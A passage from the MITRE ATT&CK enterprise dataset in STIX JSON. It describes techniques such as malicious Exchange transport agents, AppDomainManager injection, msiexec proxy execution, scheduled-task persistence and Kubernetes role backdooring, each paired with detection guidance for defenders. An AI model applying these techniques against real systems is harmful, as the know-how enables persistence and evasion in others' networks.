                    "external_id": "T1505.002"
                },
                {
                    "source_name": "Microsoft TransportAgent Jun 2016",
                    "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.",
                    "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help"
                },
                {
                    "source_name": "ESET LightNeuron May 2019",
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf"
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            "name": "Transport Agent",
            "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",
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                    "phase_name": "persistence"
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            "x_mitre_contributors": [
                "ESET",
                "Christoffer Str\u00f6mblad"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "created": "2017-05-31T21:31:04.307Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1082",
                    "external_id": "T1082"
                },
                {
                    "source_name": "Amazon Describe Instance",
                    "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
                },
                {
                    "source_name": "Google Instances Resource",
                    "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.",
                    "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances"
                },
                {
                    "source_name": "Varonis",
                    "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
                    "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Microsoft Virutal Machine API",
                    "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
                },
                {
                    "source_name": "OSX.FairyTale",
                    "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.",
                    "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                }
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            "modified": "2025-04-15T19:58:21.308Z",
            "name": "System Information Discovery",
            "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. <code>show version</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\n\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) ",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            "x_mitre_contributors": [
                "Maril Vernon @shewhohacks",
                "Praetorian",
                "Austin Clark, @c2defense"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather  detailed system information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use  commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "2.6",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "created": "2017-05-31T21:30:56.776Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1071",
                    "external_id": "T1071"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
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            "modified": "2025-04-15T19:58:21.401Z",
            "name": "Application Layer Protocol",
            "description": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) ",
            "kill_chain_phases": [
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                    "phase_name": "command-and-control"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
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            "x_mitre_version": "2.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8",
            "created": "2024-03-28T15:36:34.141Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/014",
                    "external_id": "T1574.014"
                },
                {
                    "source_name": "PenTestLabs AppDomainManagerInject",
                    "description": "Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024.",
                    "url": "https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/"
                },
                {
                    "source_name": "Microsoft App Domains",
                    "description": "Microsoft. (2021, September 15). Application domains. Retrieved March 28, 2024.",
                    "url": "https://learn.microsoft.com/dotnet/framework/app-domains/application-domains"
                },
                {
                    "source_name": "PwC Yellow Liderc",
                    "description": "PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024.",
                    "url": "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"
                },
                {
                    "source_name": "Rapid7 AppDomain Manager Injection",
                    "description": "Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.",
                    "url": "https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/"
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            "modified": "2025-04-15T21:48:08.401Z",
            "name": "AppDomainManager",
            "description": "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)",
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "created": "2020-03-13T21:14:58.206Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1074/002",
                    "external_id": "T1074.002"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:21.613Z",
            "name": "Remote Data Staging",
            "description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Command: Command Execution",
                "File: File Access"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64",
            "created": "2023-07-14T14:01:50.806Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/006",
                    "external_id": "T1098.006"
                },
                {
                    "source_name": "AWS EKS IAM Roles for Service Accounts",
                    "description": "Amazon Web Services. (n.d.). IAM roles for service accounts. Retrieved July 14, 2023.",
                    "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
                },
                {
                    "source_name": "Google Cloud Kubernetes IAM",
                    "description": "Google Cloud. (n.d.). Create IAM policies. Retrieved July 14, 2023.",
                    "url": "https://cloud.google.com/kubernetes-engine/docs/how-to/iam"
                },
                {
                    "source_name": "Kuberentes ABAC",
                    "description": "Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July 14, 2023.",
                    "url": "https://kubernetes.io/docs/reference/access-authn-authz/abac/"
                },
                {
                    "source_name": "Kubernetes RBAC",
                    "description": "Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.",
                    "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
                },
                {
                    "source_name": "Aquasec Kubernetes Attack 2023",
                    "description": "Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.",
                    "url": "https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"
                },
                {
                    "source_name": "Microsoft Azure Kubernetes Service Service Accounts",
                    "description": "Microsoft Azure. (2023, April 28). Access and identity options for Azure Kubernetes Service (AKS). Retrieved July 14, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/aks/concepts-identity"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:46:31.661Z",
            "name": "Additional Container Cluster Roles",
            "description": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.  \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "User Account: User Account Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
            "created": "2017-05-31T21:30:46.977Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053",
                    "external_id": "T1053"
                },
                {
                    "source_name": "ProofPoint Serpent",
                    "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
                },
                {
                    "source_name": "TechNet Task Scheduler Security",
                    "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:41:11.473Z",
            "name": "Scheduled Task/Job",
            "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Prashant Verma, Paladion",
                "Leo Loobeek, @leoloobeek",
                "Travis Smith, Tripwire",
                "Alain Homewood, Insomnia Security",
                "Andrew Northern, @ex_raritas",
                "Bryan Campbell, @bry_campbell",
                "Zachary Abzug, @ZackDoesML",
                "Selena Larson, @selenalarson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "Containers",
                "ESXi"
            ],
            "x_mitre_version": "2.4",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Creation",
                "File: File Creation",
                "Process: Process Creation",
                "Container: Container Creation",
                "Command: Command Execution",
                "File: File Modification"
            ],
            "x_mitre_remote_support": false
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "created": "2020-01-24T14:38:49.266Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/007",
                    "external_id": "T1218.007"
                },
                {
                    "source_name": "TrendMicro Msiexec Feb 2018",
                    "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/"
                },
                {
                    "source_name": "LOLBAS Msiexec",
                    "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/"
                },
                {
                    "source_name": "Microsoft msiexec",
                    "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec"
                },
                {
                    "source_name": "Microsoft AlwaysInstallElevated 2018",
                    "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:16.547Z",
            "name": "Msiexec",
            "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ziv Kaspersky, Cymptom",
                "Alexandros Pappas"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Network Traffic: Network Connection Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1162",
                    "external_id": "T1162"
                },
                {
                    "source_name": "Adding Login Items",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/564.html",
                    "external_id": "CAPEC-564"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-18T17:59:20.596Z",
            "name": "Login Item",
            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well  (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e",
            "created": "2020-10-02T15:47:59.457Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590/003",
                    "external_id": "T1590.003"
                },
                {
                    "source_name": "Pentesting AD Forests",
                    "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.",
                    "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019"
                }
            ],
            "object_marking_refs": [
